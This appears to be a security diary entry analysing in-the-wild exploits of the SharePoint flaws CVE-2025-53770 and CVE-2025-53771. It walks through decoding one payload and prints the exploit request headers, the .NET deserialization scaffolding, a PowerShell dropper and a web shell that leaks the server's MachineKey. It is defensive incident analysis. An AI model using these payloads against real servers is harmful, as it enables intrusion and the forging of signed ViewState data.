Analyzing Sharepoint Exploits (CVE-2025-53770, CVE-2025-53771)
A few days after the exploit originally became widely known, there are now many different SharePoint exploit attempts in circulation. We do see some scans by researchers to identify vulnerable systems (or to scan for common artifacts of compromise), and a few variations of the "ToolPane.aspx" URL being hit. Even for our "random" honeypots, the number of hits has increased significantly without having to emulate SharePoint better.
But how do we make sense of the exploit payload? Turns out most of them are rather straightforward to reverse. I will use this commonly referred to payload as an example: https://gist.githubusercontent.com/gboddin/6374c04f84b58cef050f5f4ecf43d501/raw/c472d3381ee8680a0fdf421e6e58625e99eb53a6/payload.txt .
You can also find a video walkthrough on YouTube:
First of all, verify that you are dealing with the correct exploit. Key identifiers for CVE-2025-53771 (the authentication bypass flaw) is the "Referer" for "SignOut.aspx". The exploit itself is targeting the URL "ToolPane.aspx". See the respective headers:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
Next, the payload. As indicated in the Content-Type headers, the payload is URL encoded. CyberChef does a nice job decoding it.
MSOTlPn_Uri=http://www.itsc.org/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10"
runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable=" [ BASE64 Encoded / compressed data ]" DataTable-CaseSensitive="false" runat="server">
</Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Above, you see the decoded "scaffolding" for the exploit. Overall, this is a basic .NET deserialization payload using the "CompressedDataTable" attribute. The value for the attribute is base64 encoded and compressed. I usually pipe it through base64 -d and zcat:
cat payload | base64 -d | zcat
Lucky for us, the attacker named the exploit element "pwn" to make it easier to find:
<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> [ base64 encoded data ]</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfLosFormatterObjectDataProvider>
</pwn>
And after one more base64 decoded payload, we arrive at a PowerShell command. A binary could as well replace this, but well, we get another base64 encoded string:
powershell -EncodedCommand [base64 encoded string]
You thought we were done with base64 decoding? Not quite yet:
$base64String = [ base64 encoded string ]
$destinationFile = "C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
$decodedBytes = [System.Convert]::FromBase64String($base64String)
$decodedContent = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
$decodedContent | Set-Content -Path $destinationFile -ErrorAction Stop
This little PowerShell script is creating the infamous spinstall0.aspx file. Its content can be found in the base64 string, which decodes to:
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
The .NET code that reveals the MachineKey! Anyone retrieving spinstall0.aspx will be greeted by the system's MachineKey, enabling them to sign VIEWSTATES at will.
This is also the big lesson: An attacker may have obtained the MachineKey, giving them access to your system via spoofed Viewstate's. Rotating MachineKeys is CRITICAL!
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Comments